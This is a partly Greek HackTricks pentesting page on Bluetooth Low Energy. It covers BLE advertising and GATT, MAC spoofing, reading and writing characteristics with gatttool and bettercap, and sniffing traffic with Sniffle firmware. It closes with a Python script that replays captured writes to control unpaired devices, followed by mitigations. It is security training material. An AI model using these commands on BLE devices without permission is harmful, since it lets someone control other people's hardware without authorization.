Pentesting BLE - Bluetooth Low Energy

Reading time: 9 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Introduction

Διαθέσιμο από την προδιαγραφή Bluetooth 4.0, το BLE χρησιμοποιεί μόνο 40 κανάλια, καλύπτοντας το εύρος 2400 έως 2483.5 MHz. Αντιθέτως, το παραδοσιακό Bluetooth χρησιμοποιεί 79 κανάλια στο ίδιο εύρος.

Οι συσκευές BLE επικοινωνούν στέλνοντας advertising packets (beacons), αυτά τα πακέτα εκπέμπουν την ύπαρξη της συσκευής BLE σε άλλες κοντινές συσκευές. Αυτά τα beacons μερικές φορές επίσης στέλνουν δεδομένα.

Η συσκευή που ακούει, επίσης ονομαζόμενη κεντρική συσκευή, μπορεί να απαντήσει σε ένα advertising packet με ένα SCAN request που στέλνεται ειδικά στη διαφημιζόμενη συσκευή. Η απάντηση σε αυτό το scan χρησιμοποιεί την ίδια δομή με το advertising packet με επιπλέον πληροφορίες που δεν χωρούσαν στο αρχικό advertising request, όπως το πλήρες όνομα της συσκευής.

Το preamble byte συγχρονίζει τη συχνότητα, ενώ η τετρα-μπαϊτ access address είναι ένας connection identifier, που χρησιμοποιείται σε σενάρια όπου πολλές συσκευές προσπαθούν να δημιουργήσουν συνδέσεις στα ίδια κανάλια. Στη συνέχεια, το Protocol Data Unit (PDU) περιέχει τα advertising data. Υπάρχουν διάφοροι τύποι PDU· οι πιο συχνά χρησιμοποιούμενοι είναι οι ADV_NONCONN_IND και ADV_IND. Οι συσκευές χρησιμοποιούν τον τύπο PDU ADV_NONCONN_IND αν δεν αποδέχονται συνδέσεις, μεταδίδοντας δεδομένα μόνο στο advertising packet. Οι συσκευές χρησιμοποιούν ADV_IND αν επιτρέπουν συνδέσεις και παύουν να στέλνουν advertising πακέτα μόλις μια σύνδεση έχει εγκαθιδρυθεί.

GATT

Η Generic Attribute Profile (GATT) ορίζει πώς η συσκευή πρέπει να μορφοποιεί και να μεταφέρει δεδομένα. Όταν αναλύετε την επιφάνεια επίθεσης μιας συσκευής BLE, συχνά θα εστιάσετε στο GATT (ή τα GATT), επειδή είναι ο τρόπος με τον οποίο η λειτουργικότητα της συσκευής ενεργοποιείται και με τον οποίο τα δεδομένα αποθηκεύονται, ομαδοποιούνται και τροποποιούνται. Το GATT απαριθμεί τα χαρακτηριστικά, τα descriptors και τις services μιας συσκευής σε έναν πίνακα ως τιμές 16- ή 32-bit. Μια characteristic είναι μια τιμή δεδομένων που αποστέλλεται μεταξύ της κεντρικής συσκευής και του peripheral. Αυτές οι characteristics μπορούν να έχουν descriptors που παρέχουν επιπλέον πληροφορίες γι' αυτές. Οι characteristics συχνά ομαδοποιούνται σε services αν σχετίζονται με την εκτέλεση μιας συγκεκριμένης ενέργειας.

Καταγραφή

bash
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up

# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66

GATTool

GATTool επιτρέπει να εγκαθιδρύσει μια σύνδεση με άλλη συσκευή, απαριθμώντας τα χαρακτηριστικά της συσκευής, και διαβάζοντας και γράφοντας τις ιδιότητές της.
GATTTool μπορεί να ξεκινήσει ένα διαδραστικό shell με την επιλογή -I:

bash
gatttool -i hci0 -I
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
[A4:CF:12:6C:B3:76][LE]> characteristics
handle: 0x0002, char properties: 0x20, char value handle:
0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb
handle: 0x0015, char properties: 0x02, char value handle:
0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb
[...]

# Write data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-write-req <characteristic handle> -n <value>
gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "04dc54d9053b4307680a"|xxd -ps)

# Read data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-read -a 0x16

# Read connecting with an authenticated encrypted connection
gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c

Bettercap

bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported

# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06

Sniffing and actively controlling unpaired BLE devices

Many low-cost BLE peripherals do not enforce pairing/bonding. Without bonding, the Link Layer encryption is never enabled, so ATT/GATT traffic is in cleartext. An off-path sniffer can follow the connection, decode GATT operations to learn characteristic handles and values, and any nearby host can then connect and replay those writes to control the device.

Sniffing with Sniffle (CC26x2/CC1352)

Υλικό: Ένα Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) που έχει ξαναφλασαριστεί με το Sniffle firmware της NCC Group.

Εγκαταστήστε το Sniffle και το Wireshark extcap του σε Linux:

bash
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
sudo mkdir -p /opt/sniffle
sudo chown -R $USER:$USER /opt/sniffle
pushd /opt/sniffle
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
tar xvf v1.10.0.tar.gz
# Install Wireshark extcap for user and root only
mkdir -p $HOME/.local/lib/wireshark/extcap
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
sudo mkdir -p /root/.local/lib/wireshark/extcap
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
popd
else
echo "[+] - Sniffle already installed at 1.10.0"
fi

Flash Sonoff with Sniffle firmware (βεβαιωθείτε ότι η σειριακή συσκευή σας είναι σωστή, π.χ. /dev/ttyUSB0):

bash
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd

Καταγράψτε στο Wireshark μέσω του Sniffle extcap και γρήγορα pivot σε state-changing writes φιλτράροντας:

text
_ws.col.info contains "Sent Write Command"

Αυτό επισημαίνει τα ATT Write Commands από τον client; το handle και το value συχνά αντιστοιχούν άμεσα σε ενέργειες της συσκευής (π.χ., write 0x01 σε buzzer/alert characteristic, 0x00 για stop).

Sniffle CLI γρήγορα παραδείγματα:

bash
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap

Εναλλακτικός sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin λειτουργεί επίσης. Σε μικρά/φθηνά Nordic dongles συνήθως αντικαθιστάτε το USB bootloader για να φορτώσετε το sniffer firmware, οπότε είτε κρατάτε ένα αφιερωμένο sniffer dongle είτε χρειάζεστε J-Link/JTAG για να επαναφέρετε τον bootloader αργότερα.

Ενεργός έλεγχος μέσω GATT

Μόλις εντοπίσετε ένα writable characteristic handle και value από το sniffed traffic, συνδεθείτε ως οποιοδήποτε central και εκτελέστε το ίδιο write:

  • Με Nordic nRF Connect for Desktop (BLE app):

  • Επιλέξτε το nRF52/nRF52840 dongle, σαρώστε και συνδεθείτε με τον στόχο.

  • Περιηγηθείτε στη βάση δεδομένων GATT, εντοπίστε το target characteristic (συχνά έχει φιλικό όνομα, π.χ., Alert Level).

  • Εκτελέστε ένα Write με τα sniffed bytes (π.χ., 01 για trigger, 00 για stop).

  • Αυτοματοποιήστε σε Windows με ένα Nordic dongle χρησιμοποιώντας Python + blatann:

python
import time
import blatann

# CONFIG
COM_PORT = "COM29"  # Replace with your COM port
TARGET_MAC = "5B:B1:7F:47:A7:00"  # Replace with your target MAC

target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")

# CONNECT
ble_device = blatann.BleDevice(COM_PORT)
ble_device.configure()
ble_device.open()
print(f"[-] Connecting to {TARGET_MAC}...")
peer = ble_device.connect(target_address).wait()
if not peer:
print("[!] Connection failed.")
ble_device.close()
raise SystemExit(1)

print("Connected. Discovering services...")
peer.discover_services().wait(5, exception_on_timeout=False)

# Example: write 0x01/0x00 to a known handle
for service in peer.database.services:
for ch in service.characteristics:
if ch.handle == 0x000b:  # Replace with your handle
print("[!] Beeping.")
ch.write(b"\x01")
time.sleep(2)
print("[+] And relax.")
ch.write(b"\x00")

print("[-] Disconnecting...")
peer.disconnect()
peer.wait_for_disconnect()
ble_device.close()

Λειτουργικές σημειώσεις και μετριασμοί

  • Προτιμήστε Sonoff+Sniffle σε Linux για αξιόπιστο channel hopping και παρακολούθηση σύνδεσης. Κρατήστε έναν επιπλέον Nordic sniffer ως εφεδρεία.
  • Χωρίς pairing/bonding, οποιοσδήποτε κοντινός attacker μπορεί να παρατηρήσει writes και να replay/craft δικά του σε unauthenticated writable characteristics.
  • Μέτρα: απαιτήστε pairing/bonding και επιβάλλετε κρυπτογράφηση· ορίστε τα permissions των characteristics ώστε να απαιτούν authenticated writes· ελαχιστοποιήστε τα unauthenticated writable characteristics· επικυρώστε τα GATT ACLs με Sniffle/nRF Connect.

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks